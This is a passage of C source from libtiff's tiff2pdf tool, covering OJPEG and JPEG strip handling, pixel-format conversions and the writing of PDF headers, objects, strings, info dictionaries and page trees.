ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_width ) & 0xff; } ojpegdata[t2p->pdf_ojpegdatalength++]=(t2p->tiff_samplesperpixel & 0xff); for(i=0;i<t2p->tiff_samplesperpixel;i++){ ojpegdata[t2p->pdf_ojpegdatalength++]=i; if(i==0){ ojpegdata[t2p->pdf_ojpegdatalength] |= h_samp<<4 & 0xf0;; ojpegdata[t2p->pdf_ojpegdatalength++] |= v_samp & 0x0f; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= 0x11; } ojpegdata[t2p->pdf_ojpegdatalength++]=i; } for(dest=0;dest<t2p->tiff_samplesperpixel;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xdb; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=0x43; ojpegdata[t2p->pdf_ojpegdatalength++]=dest; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength++]), &(((unsigned char*)q)[64*dest]), 64); t2p->pdf_ojpegdatalength+=64; } offset_table=0; for(dest=0;dest<table_count;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xc4; offset_ms_l=t2p->pdf_ojpegdatalength; t2p->pdf_ojpegdatalength+=2; ojpegdata[t2p->pdf_ojpegdatalength++]=dest & 0x0f; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)dc)[offset_table]), 16); code_count=0; offset_table+=16; for(i=0;i<16;i++){ code_count+=ojpegdata[t2p->pdf_ojpegdatalength++]; } ojpegdata[offset_ms_l]=((19+code_count)>>8) & 0xff; ojpegdata[offset_ms_l+1]=(19+code_count) & 0xff; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)dc)[offset_table]), code_count); offset_table+=code_count; t2p->pdf_ojpegdatalength+=code_count; } if(proc==JPEGPROC_BASELINE){ offset_table=0; for(dest=0;dest<table_count;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xc4; offset_ms_l=t2p->pdf_ojpegdatalength; t2p->pdf_ojpegdatalength+=2; ojpegdata[t2p->pdf_ojpegdatalength] |= 0x10; ojpegdata[t2p->pdf_ojpegdatalength++] |=dest & 0x0f; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)ac)[offset_table]), 16); code_count=0; offset_table+=16; for(i=0;i<16;i++){ code_count+=ojpegdata[t2p->pdf_ojpegdatalength++]; } ojpegdata[offset_ms_l]=((19+code_count)>>8) & 0xff; ojpegdata[offset_ms_l+1]=(19+code_count) & 0xff; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)ac)[offset_table]), code_count); offset_table+=code_count; t2p->pdf_ojpegdatalength+=code_count; } } if(TIFFNumberOfStrips(input)>1){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xdd; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=0x04; h_samp*=8; v_samp*=8; ri=(t2p->tiff_width+h_samp-1) / h_samp; TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows); ri*=(rows+v_samp-1)/v_samp; ojpegdata[t2p->pdf_ojpegdatalength++]= (ri>>8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= ri & 0xff; } ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xda; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=(6 + 2*t2p->tiff_samplesperpixel); ojpegdata[t2p->pdf_ojpegdatalength++]=t2p->tiff_samplesperpixel & 0xff; for(i=0;i<t2p->tiff_samplesperpixel;i++){ ojpegdata[t2p->pdf_ojpegdatalength++]= i & 0xff; if(proc==JPEGPROC_BASELINE){ ojpegdata[t2p->pdf_ojpegdatalength] |= ( ( (i>(table_count-1U)) ? (table_count-1U) : i) << 4U) & 0xf0; ojpegdata[t2p->pdf_ojpegdatalength++] |= ( (i>(table_count-1U)) ? (table_count-1U) : i) & 0x0f; } else { ojpegdata[t2p->pdf_ojpegdatalength++] = (i << 4) & 0xf0; } } if(proc==JPEGPROC_BASELINE){ t2p->pdf_ojpegdatalength++; ojpegdata[t2p->pdf_ojpegdatalength++]=0x3f; t2p->pdf_ojpegdatalength++; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= (lp[0] & 0xff); t2p->pdf_ojpegdatalength++; ojpegdata[t2p->pdf_ojpegdatalength++]= (pt[0] & 0x0f); } return(1); } #endif #ifdef JPEG_SUPPORT int t2p_process_jpeg_strip( unsigned char* strip, tsize_t* striplength, unsigned char* buffer, tsize_t buffersize, tsize_t* bufferoffset, tstrip_t no, uint32 height){ tsize_t i=0; while (i < *striplength) { tsize_t datalen; uint16 ri; uint16 v_samp; uint16 h_samp; int j; int ncomp; /* marker header: one or more FFs */ if (strip[i] != 0xff) return(0); i++; while (i < *striplength && strip[i] == 0xff) i++; if (i >= *striplength) return(0); /* SOI is the only pre-SOS marker without a length word */ if (strip[i] == 0xd8) datalen = 0; else { if ((*striplength - i) <= 2) return(0); datalen = (strip[i+1] << 8) | strip[i+2]; if (datalen < 2 || datalen >= (*striplength - i)) return(0); } switch( strip[i] ){ case 0xd8: /* SOI - start of image */ if( *bufferoffset + 2 > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), 2); *bufferoffset+=2; break; case 0xc0: /* SOF0 */ case 0xc1: /* SOF1 */ case 0xc3: /* SOF3 */ case 0xc9: /* SOF9 */ case 0xca: /* SOF10 */ if(no==0){ if( *bufferoffset + datalen + 2 + 6 > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); if( *bufferoffset + 9 >= buffersize ) return(0); ncomp = buffer[*bufferoffset+9]; if (ncomp < 1 || ncomp > 4) return(0); v_samp=1; h_samp=1; if( *bufferoffset + 11 + 3*(ncomp-1) >= buffersize ) return(0); for(j=0;j<ncomp;j++){ uint16 samp = buffer[*bufferoffset+11+(3*j)]; if( (samp>>4) > h_samp) h_samp = (samp>>4); if( (samp & 0x0f) > v_samp) v_samp = (samp & 0x0f); } v_samp*=8; h_samp*=8; ri=((( ((uint16)(buffer[*bufferoffset+5])<<8) | (uint16)(buffer[*bufferoffset+6]) )+v_samp-1)/ v_samp); ri*=((( ((uint16)(buffer[*bufferoffset+7])<<8) | (uint16)(buffer[*bufferoffset+8]) )+h_samp-1)/ h_samp); buffer[*bufferoffset+5]= (unsigned char) ((height>>8) & 0xff); buffer[*bufferoffset+6]= (unsigned char) (height & 0xff); *bufferoffset+=datalen+2; /* insert a DRI marker */ buffer[(*bufferoffset)++]=0xff; buffer[(*bufferoffset)++]=0xdd; buffer[(*bufferoffset)++]=0x00; buffer[(*bufferoffset)++]=0x04; buffer[(*bufferoffset)++]=(ri >> 8) & 0xff; buffer[(*bufferoffset)++]= ri & 0xff; } break; case 0xc4: /* DHT */ case 0xdb: /* DQT */ if( *bufferoffset + datalen + 2 > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); *bufferoffset+=datalen+2; break; case 0xda: /* SOS */ if(no==0){ if( *bufferoffset + datalen + 2 > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); *bufferoffset+=datalen+2; } else { if( *bufferoffset + 2 > buffersize ) return(0); buffer[(*bufferoffset)++]=0xff; buffer[(*bufferoffset)++]= (unsigned char)(0xd0 | ((no-1)%8)); } i += datalen + 1; /* copy remainder of strip */ if( *bufferoffset + *striplength - i > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i]), *striplength - i); *bufferoffset+= *striplength - i; return(1); default: /* ignore any other marker */ break; } i += datalen + 1; } /* failed to find SOS marker */ return(0); } #endif /* This functions converts a tilewidth x tilelength buffer of samples into an edgetilewidth x tilelength buffer of samples. */ void t2p_tile_collapse_left( tdata_t buffer, tsize_t scanwidth, uint32 tilewidth, uint32 edgetilewidth, uint32 tilelength){ uint32 i; tsize_t edgescanwidth=0; edgescanwidth = (scanwidth * edgetilewidth + (tilewidth - 1))/ tilewidth; for(i=0;i<tilelength;i++){ _TIFFmemcpy( &(((char*)buffer)[edgescanwidth*i]), &(((char*)buffer)[scanwidth*i]), edgescanwidth); } return; } /* * This function calls TIFFWriteDirectory on the output after blanking its * output by replacing the read, write, and seek procedures with empty * implementations, then it replaces the original implementations. */ void t2p_write_advance_directory(T2P* t2p, TIFF* output) { t2p_disable(output); if(!TIFFWriteDirectory(output)){ TIFFError(TIFF2PDF_MODULE, "Error writing virtual directory to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p_enable(output); return; } tsize_t t2p_sample_planar_separate_to_contig( T2P* t2p, unsigned char* buffer, unsigned char* samplebuffer, tsize_t samplebuffersize){ tsize_t stride=0; tsize_t i=0; tsize_t j=0; stride=samplebuffersize/t2p->tiff_samplesperpixel; for(i=0;i<stride;i++){ for(j=0;j<t2p->tiff_samplesperpixel;j++){ buffer[i*t2p->tiff_samplesperpixel + j] = samplebuffer[i + j*stride]; } } return(samplebuffersize); } tsize_t t2p_sample_realize_palette(T2P* t2p, unsigned char* buffer){ uint32 sample_count=0; uint16 component_count=0; uint32 palette_offset=0; uint32 sample_offset=0; uint32 i=0; uint32 j=0; sample_count=t2p->tiff_width*t2p->tiff_length; component_count=t2p->tiff_samplesperpixel; for(i=sample_count;i>0;i--){ palette_offset=buffer[i-1] * component_count; sample_offset= (i-1) * component_count; for(j=0;j<component_count;j++){ buffer[sample_offset+j]=t2p->pdf_palette[palette_offset+j]; } } return(0); } /* This functions converts in place a buffer of ABGR interleaved data into RGB interleaved data, discarding A. */ tsize_t t2p_sample_abgr_to_rgb(tdata_t data, uint32 samplecount) { uint32 i=0; uint32 sample=0; for(i=0;i<samplecount;i++){ sample=((uint32*)data)[i]; ((char*)data)[i*3]= (char) (sample & 0xff); ((char*)data)[i*3+1]= (char) ((sample>>8) & 0xff); ((char*)data)[i*3+2]= (char) ((sample>>16) & 0xff); } return(i*3); } /* * This functions converts in place a buffer of RGBA interleaved data * into RGB interleaved data, discarding A. */ tsize_t t2p_sample_rgbaa_to_rgb(tdata_t data, uint32 samplecount) { uint32 i; for(i = 0; i < samplecount; i++) memcpy((uint8*)data + i * 3, (uint8*)data + i * 4, 3); return(i * 3); } /* * This functions converts in place a buffer of RGBA interleaved data * into RGB interleaved data, adding 255-A to each component sample. */ tsize_t t2p_sample_rgba_to_rgb(tdata_t data, uint32 samplecount) { uint32 i = 0; uint32 sample = 0; uint8 alpha = 0; for (i = 0; i < samplecount; i++) { sample=((uint32*)data)[i]; alpha=(uint8)((255 - ((sample >> 24) & 0xff))); ((uint8 *)data)[i * 3] = (uint8) ((sample >> 16) & 0xff) + alpha; ((uint8 *)data)[i * 3 + 1] = (uint8) ((sample >> 8) & 0xff) + alpha; ((uint8 *)data)[i * 3 + 2] = (uint8) (sample & 0xff) + alpha; } return (i * 3); } /* This function converts the a and b samples of Lab data from signed to unsigned. */ tsize_t t2p_sample_lab_signed_to_unsigned(tdata_t buffer, uint32 samplecount){ uint32 i=0; for(i=0;i<samplecount;i++){ if( (((unsigned char*)buffer)[(i*3)+1] & 0x80) !=0){ ((unsigned char*)buffer)[(i*3)+1] = (unsigned char)(0x80 + ((char*)buffer)[(i*3)+1]); } else { ((unsigned char*)buffer)[(i*3)+1] |= 0x80; } if( (((unsigned char*)buffer)[(i*3)+2] & 0x80) !=0){ ((unsigned char*)buffer)[(i*3)+2] = (unsigned char)(0x80 + ((char*)buffer)[(i*3)+2]); } else { ((unsigned char*)buffer)[(i*3)+2] |= 0x80; } } return(samplecount*3); } /* This function writes the PDF header to output. */ tsize_t t2p_write_pdf_header(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[16]; int buflen=0; buflen = snprintf(buffer, sizeof(buffer), "%%PDF-%u.%u ", t2p->pdf_majorversion&0xff, t2p->pdf_minorversion&0xff); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t)"\n%\342\343\317\323\n", 7); return(written); } /* This function writes the beginning of a PDF object to output. */ tsize_t t2p_write_pdf_obj_start(uint32 number, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)number); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen ); written += t2pWriteFile(output, (tdata_t) " 0 obj\n", 7); return(written); } /* This function writes the end of a PDF object to output. */ tsize_t t2p_write_pdf_obj_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "endobj\n", 7); return(written); } /* This function writes a PDF name object to output. */ tsize_t t2p_write_pdf_name(unsigned char* name, TIFF* output){ tsize_t written=0; uint32 i=0; char buffer[64]; uint16 nextchar=0; size_t namelen=0; namelen = strlen((char *)name); if (namelen>126) { namelen=126; } written += t2pWriteFile(output, (tdata_t) "/", 1); for (i=0;i<namelen;i++){ if ( ((unsigned char)name[i]) < 0x21){ snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); nextchar=1; } if ( ((unsigned char)name[i]) > 0x7E){ snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); nextchar=1; } if (nextchar==0){ switch (name[i]){ case 0x23: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x25: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x28: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x29: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x2F: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x3C: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x3E: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x5B: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x5D: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x7B: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x7D: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; default: written += t2pWriteFile(output, (tdata_t) &name[i], 1); } } nextchar=0; } written += t2pWriteFile(output, (tdata_t) " ", 1); return(written); } /* * This function writes a PDF string object to output. */ tsize_t t2p_write_pdf_string(char* pdfstr, TIFF* output) { tsize_t written = 0; uint32 i = 0; char buffer[64]; size_t len = 0; len = strlen(pdfstr); written += t2pWriteFile(output, (tdata_t) "(", 1); for (i=0; i<len; i++) { if((pdfstr[i]&0x80) || (pdfstr[i]==127) || (pdfstr[i]<32)){ snprintf(buffer, sizeof(buffer), "\\%.3o", ((unsigned char)pdfstr[i])); written += t2pWriteFile(output, (tdata_t)buffer, 4); } else { switch (pdfstr[i]){ case 0x08: written += t2pWriteFile(output, (tdata_t) "\\b", 2); break; case 0x09: written += t2pWriteFile(output, (tdata_t) "\\t", 2); break; case 0x0A: written += t2pWriteFile(output, (tdata_t) "\\n", 2); break; case 0x0C: written += t2pWriteFile(output, (tdata_t) "\\f", 2); break; case 0x0D: written += t2pWriteFile(output, (tdata_t) "\\r", 2); break; case 0x28: written += t2pWriteFile(output, (tdata_t) "\\(", 2); break; case 0x29: written += t2pWriteFile(output, (tdata_t) "\\)", 2); break; case 0x5C: written += t2pWriteFile(output, (tdata_t) "\\\\", 2); break; default: written += t2pWriteFile(output, (tdata_t) &pdfstr[i], 1); } } } written += t2pWriteFile(output, (tdata_t) ") ", 1); return(written); } /* This function writes a buffer of data to output. */ tsize_t t2p_write_pdf_stream(tdata_t buffer, tsize_t len, TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) buffer, len); return(written); } /* This functions writes the beginning of a PDF stream to output. */ tsize_t t2p_write_pdf_stream_start(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "stream\n", 7); return(written); } /* This function writes the end of a PDF stream to output. */ tsize_t t2p_write_pdf_stream_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "\nendstream\n", 11); return(written); } /* This function writes a stream dictionary for a PDF stream to output. */ tsize_t t2p_write_pdf_stream_dict(tsize_t len, uint32 number, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "/Length ", 8); if(len!=0){ written += t2p_write_pdf_stream_length(len, output); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)number); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); } return(written); } /* This functions writes the beginning of a PDF stream dictionary to output. */ tsize_t t2p_write_pdf_stream_dict_start(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "<< \n", 4); return(written); } /* This function writes the end of a PDF stream dictionary to output. */ tsize_t t2p_write_pdf_stream_dict_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) " >>\n", 4); return(written); } /* This function writes a number to output. */ tsize_t t2p_write_pdf_stream_length(tsize_t len, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)len); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n", 1); return(written); } /* * This function writes the PDF Catalog structure to output. */ tsize_t t2p_write_pdf_catalog(T2P* t2p, TIFF* output) { tsize_t written = 0; char buffer[32]; int buflen = 0; written += t2pWriteFile(output, (tdata_t)"<< \n/Type /Catalog \n/Pages ", 27); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_pages); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, TIFFmin((size_t)buflen, sizeof(buffer) - 1)); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); if(t2p->pdf_fitwindow){ written += t2pWriteFile(output, (tdata_t) "/ViewerPreferences <</FitWindow true>>\n", 39); } written += t2pWriteFile(output, (tdata_t)">>\n", 3); return(written); } /* This function writes the PDF Info structure to output. */ tsize_t t2p_write_pdf_info(T2P* t2p, TIFF* input, TIFF* output) { tsize_t written = 0; char* info; char buffer[512]; if(t2p->pdf_datetime[0] == '\0') t2p_pdf_tifftime(t2p, input); if (strlen(t2p->pdf_datetime) > 0) { written += t2pWriteFile(output, (tdata_t) "<< \n/CreationDate ", 18); written += t2p_write_pdf_string(t2p->pdf_datetime, output); written += t2pWriteFile(output, (tdata_t) "\n/ModDate ", 10); written += t2p_write_pdf_string(t2p->pdf_datetime, output); } written += t2pWriteFile(output, (tdata_t) "\n/Producer ", 11); snprintf(buffer, sizeof(buffer), "libtiff / tiff2pdf - %d", TIFFLIB_VERSION); written += t2p_write_pdf_string(buffer, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); if (t2p->pdf_creator[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Creator ", 9); written += t2p_write_pdf_string(t2p->pdf_creator, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_SOFTWARE, &info) != 0 && info) { if(strlen(info) >= sizeof(t2p->pdf_creator)) info[sizeof(t2p->pdf_creator) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Creator ", 9); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_author[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Author ", 8); written += t2p_write_pdf_string(t2p->pdf_author, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if ((TIFFGetField(input, TIFFTAG_ARTIST, &info) != 0 || TIFFGetField(input, TIFFTAG_COPYRIGHT, &info) != 0) && info) { if (strlen(info) >= sizeof(t2p->pdf_author)) info[sizeof(t2p->pdf_author) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Author ", 8); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_title[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Title ", 7); written += t2p_write_pdf_string(t2p->pdf_title, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_DOCUMENTNAME, &info) != 0){ if(strlen(info) > 511) { info[512] = '\0'; } written += t2pWriteFile(output, (tdata_t) "/Title ", 7); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_subject[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Subject ", 9); written += t2p_write_pdf_string(t2p->pdf_subject, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_IMAGEDESCRIPTION, &info) != 0 && info) { if (strlen(info) >= sizeof(t2p->pdf_subject)) info[sizeof(t2p->pdf_subject) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Subject ", 9); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_keywords[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Keywords ", 10); written += t2p_write_pdf_string(t2p->pdf_keywords, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } written += t2pWriteFile(output, (tdata_t) ">> \n", 4); return(written); } /* * This function fills a string of a T2P struct with the current time as a PDF * date string, it is called by t2p_pdf_tifftime. */ void t2p_pdf_currenttime(T2P* t2p) { struct tm* currenttime; time_t timenow; if (time(&timenow) == (time_t) -1) { TIFFError(TIFF2PDF_MODULE, "Can't get the current time: %s", strerror(errno)); timenow = (time_t) 0; } currenttime = localtime(&timenow); snprintf(t2p->pdf_datetime, sizeof(t2p->pdf_datetime), "D:%.4d%.2d%.2d%.2d%.2d%.2d", (currenttime->tm_year + 1900) % 65536, (currenttime->tm_mon + 1) % 256, (currenttime->tm_mday) % 256, (currenttime->tm_hour) % 256, (currenttime->tm_min) % 256, (currenttime->tm_sec) % 256); return; } /* * This function fills a string of a T2P struct with the date and time of a * TIFF file if it exists or the current time as a PDF date string. */ void t2p_pdf_tifftime(T2P* t2p, TIFF* input) { char* datetime; if (TIFFGetField(input, TIFFTAG_DATETIME, &datetime) != 0 && (strlen(datetime) >= 19) ){ t2p->pdf_datetime[0]='D'; t2p->pdf_datetime[1]=':'; t2p->pdf_datetime[2]=datetime[0]; t2p->pdf_datetime[3]=datetime[1]; t2p->pdf_datetime[4]=datetime[2]; t2p->pdf_datetime[5]=datetime[3]; t2p->pdf_datetime[6]=datetime[5]; t2p->pdf_datetime[7]=datetime[6]; t2p->pdf_datetime[8]=datetime[8]; t2p->pdf_datetime[9]=datetime[9]; t2p->pdf_datetime[10]=datetime[11]; t2p->pdf_datetime[11]=datetime[12]; t2p->pdf_datetime[12]=datetime[14]; t2p->pdf_datetime[13]=datetime[15]; t2p->pdf_datetime[14]=datetime[17]; t2p->pdf_datetime[15]=datetime[18]; t2p->pdf_datetime[16] = '\0'; } else { t2p_pdf_currenttime(t2p); } return; } /* * This function writes a PDF Pages Tree structure to output. */ tsize_t t2p_write_pdf_pages(T2P* t2p, TIFF* output) { tsize_t written=0; tdir_t i=0; char buffer[32]; int buflen=0; int page=0; written += t2pWriteFile(output, (tdata_t) "<< \n/Type /Pages \n/Kids [ ", 26); page = t2p->pdf_pages+1; for (i=0;i<t2p->tiff_pagecount;i++){ buflen=snprintf(buffer, sizeof(buffer), "%d", page); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); if ( ((i+1)%8)==0 ) { written += t2pWriteFile(output, (tdata_t) "\n", 1); } page +=3; page += t2p->tiff_pages[i].page_extra; if(t2p->tiff_pages[i].page_tilecount>0){ page += (2 * t2p->tiff_pages[i].page_tilecount); } else { page +=2; } } written += t2pWriteFile(output, (tdata_t) "] \n/Count ", 10); buflen=snprintf(buffer, sizeof(buffer), "%d", t2p->tiff_pagecount); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " \n>> \n", 6); return(written); } /* This function writes a PDF Page structure to output. */ tsize_t t2p_write_pdf_page(uint32 object, T2P* t2p, TIFF* output){ unsigned int i=0; tsize_t written=0; char buffer[256]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "<<\n/Type /Page \n/Parent ", 24); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_pages); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); written += t2pWriteFile(output, (tdata_t) "/MediaBox [", 11); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.x1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.y1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.x2); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.y2); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "] \n", 3); written += t2pWriteFile(output, (tdata_t) "/Contents ", 10); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); written += t2pWriteFile(output, (tdata_t) "/Resources << \n", 15); if( t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount != 0 ){ written += t2pWriteFile(output, (tdata_t) "/XObject <<\n", 12); for(i=0;i<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount;i++){ written += t2pWriteFile(output, (tdata_t) "/Im", 3); buflen = snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "_", 1); buflen = snprintf(buffer, sizeof(buffer), "%u", i+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object+3+(2*i)+t2p->tiff_pages[t2p->pdf_page].page_extra)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); if(i%4==3){ written += t2pWriteFile(output, (tdata_t) "\n", 1); } } written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } else { written += t2pWriteFile(output, (tdata_t) "/XObject <<\n", 12); written += t2pWriteFile(output, (tdata_t) "/Im", 3); buflen = snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object+3+(2*i)+t2p->tiff_pages[t2p->pdf_page].page_extra)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, 